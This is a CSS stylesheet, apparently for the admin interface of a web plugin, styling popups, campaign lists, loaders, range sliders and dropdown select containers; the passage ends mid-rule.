.robot-button.robot-button-ghost, #delete-popup .robot-box .robot-box-footer a.robot-button.robot-button-ghost, #delete-popup .robot-box .robot-box-footer button.robot-button.robot-button-ghost { border-color: #ddd; background-color: transparent; color: #888; } #delete-popup .robot-box .robot-box-footer button.robot-button { cursor: pointer; display: inline-block; position: relative; margin-right: 20px; border: 2px solid transparent; border-radius: 4px; text-decoration: none; text-align: center; transition: all .3s ease; width: auto; height: 30px; padding: 5px 14px; background-color: #888; color: #fff; font: 500 12px/16px Roboto,Arial,sans-serif; letter-spacing: -.25px; text-transform: uppercase; } #delete-popup .robot-box .robot-box-footer button.robot-button.mfp-close{ height: 30px; } #delete-popup .robot-box .robot-box-footer button.robot-button.robot-button-ghost.robot-button-red { border-color: #ffe5e9; color: #ff6d6d; } #delete-popup .robot-box .robot-box-footer [class*=robot-icon-] { width: 22px; position: relative; top: -1px; margin-left: -7px; vertical-align: middle; font-size: 12px; } .robot-wrap .robot-message { padding: 30px; display: block; text-align: center; } .robot-wrap .robot-box { min-height: 20px; position: relative; border-radius: 4px; background-color: #fff; box-shadow: 0 2px 0 #e6e6e6; margin-bottom: 30px; } .robot-wrap .robot-image { display: block; width: 120px; height: 120px; max-width: 100%; margin: 30px auto; } .robot-wrap .robot-message .robot-message-content { margin-top: 30px; margin-bottom: 30px; } .robot-wrap .robot-message .robot-message-content { max-width: 600px; margin-right: auto; margin-left: auto; } .robot-wrap p { font-family: Roboto,Arial,sans-serif; font-weight: 400; font-size: 15px; line-height: 30px; color: #666; letter-spacing: -.25px; text-rendering: optimizeLegibility; } .robot-wrap .robot-footer { margin-top: 40px; color: #aaa; font: 500 12px/22px Roboto,Arial,sans-serif; letter-spacing: -.25px; text-align: center; } .robot-wrap .robot-footer [class*=robot-icon-] { width: 22px; position: relative; top: -1px; vertical-align: middle; font-size: 12px; } .robot-wrap .robot-header { display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; -ms-flex-align: center; align-items: center; position: relative; margin-bottom: 30px; line-height: 1; } .robot-wrap .robot-header .robot-header-title { color: #333; margin: 0; text-align: left; font-weight: 700; max-width: none; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .robot-wrap .robot-header h1 { font-size: 32px; line-height: 40px; color: #333; margin: 0; } .robot-wrap .robot-header .robot-actions-left { display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; margin-left: 10px; margin-right: auto; } .robot-wrap .robot-header .robot-actions-right { display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; margin-left: auto; margin-right: 0; } .robot-wrap .robot-box .robot-box-header { border-bottom: 1px solid #e6e6e6; padding: 15px 30px; display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; } .robot-wrap .robot-box .robot-box-body { padding: 30px; } .robot-wrap p:last-of-type:not(:last-child) { margin-bottom: 30px; } .robot-wrap .robot-integrations-block:not(:last-child) { margin: 0 0 30px; } .robot-wrap .robot-integrations-block .robot-table-title { display: block; margin: 0 0 5px; color: #888; font: 700 12px/22px Roboto,Arial,sans-serif; letter-spacing: -.25px; } .robot-wrap .robot-table-title { margin: 5px 0; color: #333; font: 700 13px/22px Roboto,Arial,sans-serif; letter-spacing: 0; } .robot-wrap .robot-integrations-block .robot-table--apps { margin: 5px 0; } .robot-wrap .robot-table { width: 100%; table-layout: fixed; margin: 20px 0; border-collapse: unset; border-spacing: unset; border: 1px solid #e6e6e6; border-radius: 4px; border-bottom: none; color: #666; font-size: 13px; line-height: 22px; letter-spacing: -.25px; } .robot-wrap .robot-box-body .robot-description { line-height: 22px; margin-bottom: 10px; } .robot-wrap .robot-addon-image { display: block; width: 20px; height: 20px; margin-right: 10px; } .robot-wrap .robot-table-item-title{ padding: 15px 30px; border-bottom: 1px solid #e6e6e6; } .robot-wrap .robot-table--apps tbody tr:not(.robot-app--promote) .robot-app--wrapper { display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; } .robot-wrap .robot-table--apps tbody tr:not(.robot-app--promote) .robot-app--wrapper>span { -ms-flex: 1; flex: 1; display: block; color: #333; font-weight: 500; } .robot-screen-reader-text { border: 0; clip: rect(1px,1px,1px,1px); -webkit-clip-path: inset(50%); clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute!important; width: 1px; word-wrap: normal!important; } .robot-wrap .robot-notice.robot-notice-info { border-left: 2px solid #04223f; } .robot-wrap .robot-notice, .robot-wrap .robot-notice p { color: #333; } .robot-wrap .robot-notice { position: relative; display: block; margin: 30px 0; border: 1px solid #e6e6e6; border-left: 2px solid #888; border-radius: 4px; padding: 15px 20px 15px 50px; background-color: #fff; } .robot-wrap .robot-notice p { margin: 15px 0; font: 400 13px/22px Roboto,Arial,sans-serif; letter-spacing: -.25px; } #integration-popup{ margin-top: 120px; box-sizing: border-box; } #integration-popup .robot-box { margin: 30px 0; box-shadow: 0 10px 40px rgba(0,0,0,.2); } #integration-popup .robot-box { min-height: 20px; position: relative; border-radius: 4px; background-color: #fff; box-shadow: 0 2px 0 #e6e6e6; } #integration-popup .robot-box .robot-box-header { display: block; position: relative; padding-top: 40px; padding-bottom: 10px; border-bottom: 0; } #integration-popup .robot-box .robot-box-header { display: block; position: relative; border-bottom: 0; padding: 40px 30px 15px 30px; display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; } #integration-popup .robot-block-content-center { text-align: center; } #integration-popup .robot-box .robot-box-header .robot-dialog-image img { width: 45px; height: 45px; display: block; position: absolute; top: -30px; left: 50%; margin-left: -35px; border: 15px solid #fff; border-radius: 4px; background-color: #fff; } #integration-popup .robot-box .robot-box-body { padding: 30px; } #integration-popup .robot-form-field { margin-bottom: 30px; } #integration-popup .robot-label { display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; margin: 0 0 5px; padding: 0; border: 0; color: #888; font: 500 12px/16px Roboto,Arial,sans-serif; } #integration-popup .robot-control-with-icon { position: relative; } #integration-popup .robot-control-with-icon .robot-form-control{ width: 100%; height: 40px; margin: 0; padding: 9px 14px 9px 40px; border: 1px solid #ddd; border-radius: 4px; background-color: #fafafa; background-image: none; color: #333; font: 500 15px/20px Roboto,Arial,sans-serif; letter-spacing: -.25px; transition: .3s ease-in-out; } #integration-popup .robot-control-with-icon [class*=robot-icon-] { width: 16px; height: 16px; pointer-events: none; display: -ms-flexbox; display: flex; -ms-flex-direction: column; flex-direction: column; -ms-flex-align: center; align-items: center; -ms-flex-pack: center; justify-content: center; position: absolute; top: 11px; left: 14px; } #integration-popup .robot-description { display: block; margin-top: 5px; color: #888; font-size: 13px; line-height: 22px; font-weight: 400; letter-spacing: -.25px; } #integration-popup .robot-border-frame { padding: 30px; margin: 10px 0 0; border: 1px solid #e6e6e6; border-radius: 4px; } #integration-popup .robot-box .robot-box-footer.robot-box-footer-center { -ms-flex-pack: center; justify-content: center; } #integration-popup .robot-box .robot-box-body+.robot-box-footer { padding-top: 0; } #integration-popup .robot-box .robot-box-footer { -ms-flex-pack: justify; justify-content: space-between; border-top: 0; padding: 30px; display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; } #integration-popup .robot-button, #integration-popup a.robot-button, #integration-popup button.robot-button { width: auto; min-width: 80px; padding: 5px 14px; background-color: #888; color: #fff; font: 500 12px/16px Roboto,Arial,sans-serif; letter-spacing: -.25px; text-transform: uppercase; } #integration-popup .robot-button{ cursor: pointer; display: inline-block; position: relative; margin: 0; border: 2px solid transparent; border-radius: 4px; text-decoration: none; text-align: center; transition: all .3s ease; } .robot-wrap .robot-box-title{ font-size: 15px; line-height: 30px; font-family: Roboto,Arial,sans-serif; font-weight: 700; display: block; margin: 0; padding: 0; border: 0; color: #333; text-transform: none; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .robot-wrap .robot-block-content-center { text-align: center; } /*-------------------------------------------------------------- ## Message Module --------------------------------------------------------------*/ .robot-message-box { position: fixed; top: 25px; z-index: 999999; right: 28%; width: auto; margin: 0px auto; -webkit-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.07); box-shadow: 0 2px 4px rgba(0, 0, 0, 0.07); -webkit-transform: translateX(-50%); transform: translateX(-50%); -webkit-animation: 0.4s slide_up cubic-bezier(0.4, 0, 0.2, 1); animation: 0.4s slide_up cubic-bezier(0.4, 0, 0.2, 1); } .message-box { background: #353335; border-radius: 0px; margin: 0; padding: 10px 10px 10px 10px; border: none; font-size: 0.95em; text-align: center; color: #EFDABB; } .message-box a { color: #24262b; font-weight: 600; margin: 0 6px; } .message-box.success { background: #353335; } .robot-wrap button.robot-button.robot-button-blue, .robot-wrap a.robot-button-blue { background-color: #04223f !important; color: #fff !important; text-transform: uppercase !important; } .robot-wrap a.robot-button-blue-first{ margin-right: 20px; } .robot-wrap button.robot-button [class*=robot-icon-] { vertical-align: middle; } @media (min-width: 783px){ .robot-wrap .robot-summary:not(.robot-unbranded):not(.robot-summary-sm) { background-image: url(../images/robot.png); background-size: 192px 192px; background-position: 20px 40px; background-repeat: no-repeat; } } @media (min-width: 783px){ .robot-wrap .robot-summary { display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; padding: 0 15px; } } .robot-wrap .robot-summary { padding: 10px 20px; } @media (min-width: 783px){ .robot-wrap .robot-summary:not(.robot-unbranded):not(.robot-summary-sm) .robot-summary-image-space { display: block; } } @media (min-width: 783px) { .robot-wrap .robot-summary .robot-summary-image-space { min-width: 222px; min-height: 212px; -ms-flex: 0 0 222px; flex: 0 0 222px; } } .robot-wrap .robot-summary .robot-summary-image-space { display: none; } @media (min-width: 783px) { .robot-wrap .robot-summary .robot-summary-image-space, .robot-wrap .robot-summary .robot-summary-segment { padding: 0 15px; } .robot-wrap .robot-summary .robot-summary-image-space, .robot-wrap .robot-summary .robot-summary-segment { padding: 10px 0; } } @media (min-width: 783px) { .robot-wrap .robot-summary .robot-summary-segment { overflow: hidden; -ms-flex: 1; flex: 1; text-overflow: ellipsis; white-space: nowrap; } } .robot-wrap .robot-summary .robot-summary-segment { display: block; } @media (min-width: 783px) { .robot-wrap .robot-summary .robot-summary-image-space, .robot-wrap .robot-summary .robot-summary-segment { padding: 0 15px; } .robot-wrap .robot-summary .robot-summary-image-space, .robot-wrap .robot-summary .robot-summary-segment { padding: 10px 0; } } @media (min-width: 783px) { .robot-wrap .robot-summary .robot-summary-segment .robot-summary-details { padding-right: 30px; padding-left: 30px; } } @media (min-width: 783px) { .robot-wrap .robot-summary .robot-summary-details { padding-top: 30px; padding-bottom: 30px; text-align: left; } } .robot-wrap .robot-summary .robot-summary-details { color: #333; font-size: 13px; line-height: 22px; font-family: Roboto, Arial, sans-serif; letter-spacing: -.25px; text-align: center; } .robot-wrap *, .robot-wrap :after, .robot-wrap :before { box-sizing: border-box; } .robot-wrap .robot-summary .robot-summary-details .robot-summary-large { font-size: 50px; line-height: 55px; } .robot-wrap .robot-summary .robot-summary-details span { display: inline-block; } @media (min-width: 783px){ .robot-wrap .robot-summary .robot-summary-details .robot-summary-sub { margin-bottom: 24px; white-space: normal; } } .robot-wrap .robot-summary .robot-summary-details .robot-summary-sub { margin-bottom: 24px; display: block; margin-top: 0; color: #888; } .robot-wrap .robot-summary .robot-summary-details span { display: inline-block; } @media (min-width: 783px){ .robot-wrap .robot-summary .robot-summary-details .robot-summary-detail { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } } .robot-wrap .robot-summary .robot-summary-details .robot-summary-detail { display: block; font-size: 15px; font-weight: 500; } @media (min-width: 783px){ .robot-wrap .robot-summary .robot-summary-segment:last-child .robot-list, .robot-wrap .robot-summary .robot-summary-segment:last-child .robot-summary-details { padding-right: 0; } } @media (min-width: 783px){ .robot-wrap .robot-summary .robot-summary-segment .robot-list { padding-right: 15px; padding-left: 15px; } } @media (min-width: 783px){ .robot-wrap .robot-list:last-child { margin-bottom: 0; } } .robot-wrap .robot-list:last-child { margin-bottom: 0; } @media (min-width: 783px) { .robot-wrap .robot-list:first-child { margin-top: 0; } } .robot-wrap .robot-list:first-child { margin-top: 0; } @media (min-width: 783px) { .robot-wrap .robot-summary .robot-list { padding-top: 30px; padding-bottom: 30px; } } @media (min-width: 783px) { .robot-wrap .robot-list { margin: 30px 0; } } .robot-wrap .robot-list, .robot-wrap .robot-list li { list-style: none; } .robot-wrap .robot-list { margin: 20px 0; padding: 0; border: 0; } @media (min-width: 783px) { .robot-wrap .robot-list li:first-child { padding-top: 0; } } .robot-wrap .robot-list li:first-child { padding-top: 0; } @media (min-width: 783px) { .robot-wrap .robot-list li { padding: 19px 0; } } .robot-wrap .robot-list li { display: -ms-flexbox; display: flex; margin: 0; padding: 19px 0; border: 0; border-bottom: 1px solid #e6e6e6; color: #888; font-size: 13px; line-height: 22px; font-family: Roboto,Arial,sans-serif; font-weight: 500; letter-spacing: -.25px; } .robot-wrap .robot-list, .robot-wrap .robot-list li { list-style: none; } .robot-wrap .robot-summary .robot-list li span { white-space: normal; } .robot-wrap .robot-list li .robot-list-label { -ms-flex: 1; flex: 1; color: #333; } .robot-wrap .robot-list li .robot-list-detail { -ms-flex: 0 0 auto; flex: 0 0 auto; text-align: right; } .robot-wrap .robot-row-with-sidenav .robot-sidenav .robot-vertical-tabs .robot-vertical-tab.current { background-color: #e6e6e6; border-radius: 20px; } @media (min-width: 783px) { .robot-wrap .robot-listings-pagination { margin-bottom: 30px; } } @media (min-width: 783px){ .robot-wrap .robot-box>.robot-box-search { padding-right: 30px; padding-left: 30px; } } .robot-wrap .robot-box>.robot-box-search { padding-top: 15px; padding-bottom: 15px; } @media (min-width: 783px) { .robot-wrap .robot-box .robot-box-search { display: -ms-flexbox; display: flex; } } @media (min-width: 783px) { .robot-wrap .robot-box .robot-box-search > .robot-search-left:not(:last-child) { display: flex; align-items: center; margin-right: 15px; } } @media (min-width: 783px){ .robot-wrap .robot-box .robot-box-search>.robot-search-left { display: -ms-flexbox; display: flex; -ms-flex: 1; flex: 1; } } .robot-wrap .robot-box .robot-box-search>* { max-width: 100%; -ms-flex: 0 1 auto; flex: 0 1 auto; } .robot-wrap .robot-box-search .robot-search-left .robot-checkbox { display: -ms-inline-flexbox; display: inline-flex; margin-bottom: 0; } .robot-wrap label[for] { cursor: pointer; } .robot-wrap .robot-box-search .robot-search-left .robot-checkbox { display: -ms-inline-flexbox; display: inline-flex; margin-bottom: 0; } @media (min-width: 783px) { .robot-wrap .robot-checkbox, .robot-wrap .robot-radio { display: -ms-inline-flexbox; display: inline-flex; margin: 0 15px 0 0; } } .robot-wrap .robot-checkbox, .robot-wrap .robot-radio { -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; -ms-flex-align: start; align-items: flex-start; } .robot-wrap label { cursor: default; } .robot-wrap .robot-accordion:not(.robot-builder-fields) .robot-accordion-item-header>div:first-child { padding-left: 30px; } .robot-wrap .robot-accordion:not(.robot-builder-fields) .robot-accordion-item-header>[class^=robot-accordion-col-] { -ms-flex: 0 0 auto; flex: 0 0 auto; padding-right: 30px; } /* ===== Select Box ===== */ .robot-wrap .robot-select-wrapper{ margin-right: 10px; } /* ===== Status Changes ===== */ .robot-wrap .robot-box .robot-box-status .robot-status [class*=robot-status-] .robot-tag { margin-left: 8px; } .robot-wrap .robot-tag.robot-tag-draft { background-color: #f2f2f2; color: #333; } .robot-wrap .robot-tag.robot-tag-published { background-color: #04223f; color: #fff; } .robot-wrap .robot-tag { height: auto; min-height: 26px; cursor: default; display: inline-block; margin: 0 3px; padding: 0 16px; border: 2px solid transparent; border-radius: 13px; background-color: #f2f2f2; color: #333; font: 500 12px/22px Roboto,Arial,sans-serif; letter-spacing: -.25px; text-align: center; margin-left: 10px; } .robot-wrap .robot-box .robot-box-status .robot-status [class*=robot-status-]:not(:first-child) { padding-left: 20px; border-left: 1px solid #e6e6e6; } .robot-wrap .robot-box .robot-box-status .robot-status .robot-status-changes { color: #aaa; font-weight: 500; letter-spacing: -.25px; } .robot-wrap .robot-box .robot-box-status .robot-status [class*=robot-status-] { font-size: 12px; line-height: 30px; font-family: Roboto,Arial,sans-serif; letter-spacing: -.25px; } .robot-wrap .robot-box .robot-box-status .robot-status .robot-icon-saved{ color: #1abc9c; } .robot-wrap .robot-box .robot-box-status .robot-status .robot-status-module{ margin-right: 20px; } .robot-wrap .robot-box .robot-box-status .robot-status [class*=robot-status-] [class*=robot-icon-] { margin-right: 4px; font-size: 12px; vertical-align: middle; position: relative; top: -1px; } .robot-wrap .robot-tag.robot-tag-blue{ background-color: #04223f; color: #fff; } /* ===== Campaign Popup ===== */ #run-campaign-popup .robot-box-footer.robot-box-footer-center { -ms-flex-pack: center; justify-content: center; } #run-campaign-popup .robot-box-footer { -ms-flex-pack: justify; justify-content: space-between; border-top: 0; padding: 30px; display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; } #run-campaign-popup .robot-button, #run-campaign-popup a.robot-button, #run-campaign-popup button.robot-button { width: auto; min-width: 80px; padding: 5px 14px; background-color: #888; color: #fff; font: 500 12px/16px Roboto,Arial,sans-serif; letter-spacing: -.25px; text-transform: uppercase; } #run-campaign-popup .robot-button{ cursor: pointer; display: inline-block; position: relative; margin: 0; border: 2px solid transparent; border-radius: 4px; text-decoration: none; text-align: center; transition: all .3s ease; } #run-campaign-popup .robot-box-body { padding: 30px; word-wrap: break-word; } #run-campaign-popup .robot-box-body .robot-campaign-running{ background-color: #f8f8f8; text-align: center; padding: 30px; } .robot-wrap a.robot-button [class*=robot-icon-]{ width: 22px; position: relative; top: -2px; margin-left: -7px; vertical-align: middle; } .robot-wrap .robot-pagination-results { display: inline-block; color: #888; font: 400 13px/22px Roboto,Arial,sans-serif; letter-spacing: -.25px; } .robot-wrap .robot-mobile-select{ display: none; } /* ===== Responsive Campaigns ===== */ @media (max-width: 783px){ .robot-wrap .robot-accordion .robot-accordion-item-header{ display: flex; align-items: flex-start !important; flex-direction: row; padding-top: 20px; min-height: 70px !important; } .robot-wrap .robot-accordion .robot-accordion-item-header .robot-accordion-item-date{ display: none !important; } .robot-wrap .robot-accordion .robot-accordion-item-header .robot-accordion-col-auto{ padding-left: 30px !important; } .robot-wrap .robot-accordion-block .robot-accordion-item .robot-accordion-item-header .robot-accordion-item-title{ font-size: 13px; } .robot-wrap .robot-accordion-block .robot-accordion-item .robot-accordion-item-header .robot-accordion-item-title .robot-tag{ display: none !important; } .robot-wrap .robot-accordion input[type=checkbox], .robot-box-search input[type=checkbox]{ height: 1rem; width: 0.5625rem; } .robot-wrap .robot-accordion input[type=checkbox]:checked:before, .robot-box-search input[type=checkbox]:checked:before{ height: 1rem; width: 1.3rem; } .robot-select-wrapper select{ min-height: 30px; width: 150px; font-size: 13px; } .robot-box-search .robot-search-right{ display: none; } .robot-wrap .robot-box>.robot-box-search{ padding-left: 10px; } .robot-wrap .robot-header{ display: flex; align-items: flex-start !important; flex-direction: column; } .robot-wrap .robot-header .robot-header-title{ margin-bottom: 10px; } .robot-wrap .robot-header .robot-actions-left{ margin-left: 0; margin-bottom: 10px; } .robot-wrap .robot-header .robot-actions-right{ margin: 0; } .robot-wrap .robot-box-tabs .robot-box-status{ display: flex; align-items: flex-start !important; flex-direction: column; margin-top: 20px; } .robot-wrap .robot-box-tabs .robot-box-status .robot-status+.robot-actions{ margin-top: 10px; margin-left: 0; } .robot-wrap .robot-box-settings-row{ display: flex; align-items: flex-start !important; flex-direction: column; } .robot-wrap .robot-box-body .robot-box-settings-col-1{ max-width: 250px; flex: 0; } .robot-wrap .robot-box-body .robot-box-settings-row [class*=robot-box-settings-col-]+div { margin-left: 0; margin-top: 10px; } .robot-wrap .robot-sidenav-hide-md { display: none; } .robot-wrap .robot-mobile-select{ display: block; padding: 8px; position: relative; border: 1px solid #ccc; background-color: #ffffff; } .robot-wrap .robot-mobile-select .robot-icon-down{ position: absolute; right: 8px; top: 15px; } .robot-wrap .robot-vertical-tabs{ background-color: #ffffff; } .robot-wrap .robot-sidenav-settings{ margin-top: 20px; } .robot-wrap .robot-sidenav{ margin-bottom: 20px; } .robot-wrap .robot-row-with-sidenav .robot-sidenav .robot-vertical-tabs .robot-vertical-tab.current{ border-radius: 0; } .robot-message-box { top: 150px; width: 350px; left: 50%; text-align: center; } } /* ===== Campaign Schedule Range Slider ===== */ .range-slider { width: 100%; } .range-slider__range { -webkit-appearance: none; width: calc(100% - (73px)); height: 10px; border-radius: 5px; background: #d7dcdf; outline: none; padding: 0; margin: 0; } .range-slider__range::-webkit-slider-thumb { -webkit-appearance: none; appearance: none; width: 20px; height: 20px; border-radius: 50%; background: #2c3e50; cursor: pointer; -webkit-transition: background .15s ease-in-out; transition: background .15s ease-in-out; } .range-slider__range::-webkit-slider-thumb:hover { background: #1abc9c; } .range-slider__range:active::-webkit-slider-thumb { background: #1abc9c; } .range-slider__range::-moz-range-thumb { width: 20px; height: 20px; border: 0; border-radius: 50%; background: #2c3e50; cursor: pointer; -moz-transition: background .15s ease-in-out; transition: background .15s ease-in-out; } .range-slider__range::-moz-range-thumb:hover { background: #1abc9c; } .range-slider__range:active::-moz-range-thumb { background: #1abc9c; } .range-slider__value { display: inline-block; position: relative; width: 60px; color: #fff; line-height: 20px; text-align: center; border-radius: 3px; background: #2c3e50; padding: 5px 10px; margin-left: 8px; } .range-slider__value:after { position: absolute; top: 8px; left: -7px; width: 0; height: 0; border-top: 7px solid transparent; border-right: 7px solid #2c3e50; border-bottom: 7px solid transparent; content: ''; } ::-moz-range-track { background: #d7dcdf; border: 0; } input::-moz-focus-inner, input::-moz-focus-outer { border: 0; } /* ===== Campaign Schedule Select Container ===== */ .robot-wrap .select-container, .robot-wrap .post-select-container, .robot-wrap .type-select-container{ cursor: pointer; display: block; position: relative; z-index: 1; border: 1px solid #ddd; border-radius: 4px; background-color: #fafafa; text-align: left; transition-property: background; transition-duration: .3s; } .robot-wrap .select-container .dropdown-handle, .robot-wrap .select-container .button_add_field, .robot-wrap .post-select-container .post-dropdown-handle, .robot-wrap .type-select-container .type-dropdown-handle{ width: 39px; display: block; position: absolute; z-index: 1011; top: 0; right: 0; padding: 0; line-height: 38px; text-align: center; transition-property: color,border-color; transition-duration: .3s; } .robot-wrap .select-container .dropdown-handle{ width: 59px; } .robot-wrap .select-container .button_add_field{ width: 39px; } .robot-wrap .select-container .dropdown-handle [class*=robot-icon-], .robot-wrap .post-select-container .post-dropdown-handle [class*=robot-icon-], .robot-wrap .type-select-container .type-dropdown-handle [class*=robot-icon-]{ height: 38px; display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; -ms-flex-pack: center; justify-content: center; margin: 0!important; font-size: 12px!important; transition: transform .2s linear; } .robot-wrap .select-container .select-list-container, .robot-wrap .post-select-container .post-select-list-container, .robot-wrap .type-select-container .type-select-list-container{ zoom: 1; display: block; position: relative; padding-right: 39px; } .robot-wrap .select-container, .robot-wrap .post-select-container, .robot-wrap .type-select-container{ cursor: pointer; display: block; position: relative; z-index: 1; border: 1px solid #ddd; border-radius: 4px; background-color: #fafafa; text-align: left; transition-property: background; transition-duration: .3s; } .robot-wrap .select-container .select-list-container button, .robot-wrap .post-select-container .post-select-list-container button, .robot-wrap .type-select-container .type-select-list-container button{ width: 100%; height: auto; cursor: pointer; overflow: hidden; display: block; position: relative; padding: 8px 8px 8px 14px; border: 0; border-radius: 0; background-color: transparent; background-clip: padding-box; color: #333; font: 500 15px/22px Roboto,Arial,sans-serif; letter-spacing: -.25px; text-align: left; text-decoration: none; text-overflow: ellipsis; white-space: nowrap; transition-property: color; transition-duration: .3s; } .robot-wrap .select-container .select-list-container ul, .robot-wrap .post-select-container .post-select-list-container ul, .robot-wrap .type-select-container .type-select-list-container ul{ z-index: 1010; top: 38px; display: block; margin: 0 -1px; padding: 10px 0; transition-property: opacity,border-color; transition-duration: .3s; } .robot-wrap .select-container .select-list-container ul li, .robot-wrap .post-select-container .post-select-list-container ul li, .robot-wrap .type-select-container .type-select-list-container ul li{ cursor: pointer; margin: 0; padding: 5px 14px; color: #888; font: 500 15px/25px Roboto,Arial,sans-serif; letter-spacing: -.25px; word-wrap: break-word; transition: .3s ease; } .robot-wrap .select-container .select-list-container ul, .robot-wrap .select-container .select-list-container ul li, .robot-wrap .select-container .select-list-container ul ul { list-style: none; } .robot-wrap .select-container .select-list-container ul.robot-sidenav-hide-md, .robot-wrap .post-select-container .post-select-list-container ul.robot-sidenav-hide-md, .robot-wrap .type-select-container .type-select-list-container ul.robot-sidenav-hide-md { display: none; } /* ===== Button clicked style remove ===== */ .robot-wrap *:focus { outline: 0; } /* ===== Campaign Details Accordion Body ===== */ .robot-wrap .robot-accordion-item .robot-campaign-detail-hide{ display: none !important; } .robot-wrap .robot-accordion-block .robot-accordion-item .robot-accordion-item-body { padding: 0 30px 30px; min-height: 150px; } .robot-wrap .robot-accordion-block .robot-accordion-item .robot-accordion-item-body .robot-accordion-item-data{ display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; margin: 0 -5px; padding: 0; border: 0; list-style: none; } .robot-wrap .robot-accordion-block .robot-accordion-item .robot-accordion-item-body .robot-accordion-item-data li{ -ms-flex: 0 0 auto; flex: 0 0 auto; margin: 0; padding: 0 5px; text-align: left; } .robot-wrap .robot-accordion-block .robot-accordion-item .robot-accordion-item-body .robot-accordion-item-data li{ font-size: 13px; line-height: 22px; font-family: Roboto,Arial,sans-serif; letter-spacing: -.25px; transition: .3s ease; } .robot-wrap .robot-accordion-block .robot-accordion-item .robot-accordion-item-body .robot-accordion-item-data li[data-col=large]{ width: 200px; } .robot-wrap .robot-accordion-block .robot-accordion-item .robot-accordion-item-body .robot-accordion-item-data li span, .robot-wrap .robot-accordion-block .robot-accordion-item .robot-accordion-item-body .robot-accordion-item-data li strong{ display: block; } .robot-wrap .robot-accordion-block .robot-accordion-item .robot-accordion-item-body .robot-accordion-item-data li strong { color: #333; font-weight: 500; margin-right: 20px; } .robot-wrap .robot-accordion-block .robot-accordion-item .robot-accordion-item-body .robot-accordion-item-data li span{ margin-right: 20px; } .robot-wrap .robot-accordion-block .robot-accordion-item .robot-accordion-open-indicator{ display: none; } /* ALL LOADERS */ #run-campaign-popup .robot-box-body .robot-campaign-running span{ display: block; margin-top: 20px; } .loader{ width: 20px; height: 20px; border-radius: 100%; position: relative; margin: 0 auto; } /* LOADER 1 */ #loader-1:before, #loader-1:after{ content: ""; position: absolute; top: -10px; left: -10px; width: 100%; height: 100%; border-radius: 100%; border: 10px solid transparent; border-top-color: #3498db; } #loader-1:before{ z-index: 100; animation: spin 1s infinite; } #loader-1:after{ border: 10px solid #ccc; } @keyframes spin{ 0%{ -webkit-transform: rotate(0deg); -ms-transform: rotate(0deg); -o-transform: rotate(0deg); transform: rotate(0deg); } 100%{ -webkit-transform: rotate(360deg); -ms-transform: rotate(360deg); -o-transform: rotate(360deg); transform: rotate(360deg); } } /* LOADER 6 */ #loader-6{ border-radius: 100%; position: relative; margin: 0 auto; left: -2.5px; } #loader-6 span{ display: inline-block; width: 5px; height: 20px; background-color: #04223f; margin-left:5px; } #loader-6 span:nth-child(1){ animation: grow 1s ease-in-out infinite; } #loader-6 span:nth-child(2){ animation: grow 1s ease-in-out 0.15s infinite; } #loader-6 span:nth-child(3){ animation: grow 1s ease-in-out 0.30s infinite; } #loader-6 span:nth-child(4){ animation: grow 1s ease-in-out 0.45s infinite; } @keyframes grow{ 0%, 100%{ -webkit-transform: scaleY(1); -ms-transform: scaleY(1); -o-transform: scaleY(1); transform: scaleY(1); } 50%{ -webkit-transform: scaleY(1.8); -ms-transform: scaleY(1.8); -o-transform: scaleY(1.8); transform: scaleY(1.8); } } /* category multiple select */ .robot-category-multi-select, .robot-tag-multi-select{ width: 300px; } /* tabs */ .robot-tab-content{ display: none; } .robot-tab-content .active{ display: block; } .robot-wrap .robot-tabs-menu{ display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; margin: 0; padding: 0; list-style: none; } .robot-wrap .robot-tab-item.active{ background-color: #e1f6ff; color: #04223f; } .robot-wrap .robot-tab-item { cursor: pointer; -ms-flex: 0 0 auto; flex: 0 0 auto; margin: 0 1px 0 0; padding: 9px 20px; border: 0; font: 500 13px/22px Roboto,Arial,sans-serif; letter-spacing: -.25px; text-decoration: none; background-color: #f8f8f8; color: #666; } /* ===== Campaign Schedule Select Container ===== */ .robot-wrap .source-select-container { cursor: pointer; display: block; position: relative; z-index: 1; border: 1px solid #ddd; border-radius: 4px; background-color: #fafafa; text-align: left; transition-property: background; transition-duration: .3s; } .robot-wrap .source-select-container .source-dropdown-handle { width: 39px; display: block; position: absolute; z-index: 1011; top: 0; right: 0; padding: 0; line-height: 38px; text-align: center; transition-property: color,border-color; transition-duration: .3s; } .robot-wrap .source-select-container .source-dropdown-handle [class*=robot-icon-] { height: 38px; display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; -ms-flex-pack: center; justify-content: center; margin: 0!important; font-size: 12px!important; transition: transform .2s linear; } .robot-wrap .source-select-container .source-select-list-container { zoom: 1; display: block; position: relative; padding-right: 39px; } .robot-wrap .source-select-container { cursor: pointer; display: block; position: relative; z-index: 1; border: 1px solid #ddd; border-radius: 4px; background-color: #fafafa; text-align: left; transition-property: background; transition-duration: .3s; } .robot-wrap .source-select-container .source-select-list-container .source-list-value { width: 100%; height: auto; cursor: pointer; overflow: hidden; display: block; position: relative; padding: 8px 8px 8px 14px; border: 0; border-radius: 0; background-color: transparent; background-clip: padding-box; color: #333; font: 500 15px/22px Youtubeo,Arial,sans-serif; letter-spacing: -.25px; text-align: left; text-decoration: none; text-overflow: ellipsis; white-space: nowrap; transition-property: color; transition-duration: .3s; } .robot-wrap .source-select-container .source-select-list-container ul.source-list-results { z-index: 1010; top: 38px; display: block; margin: 0 -1px; padding: 10px 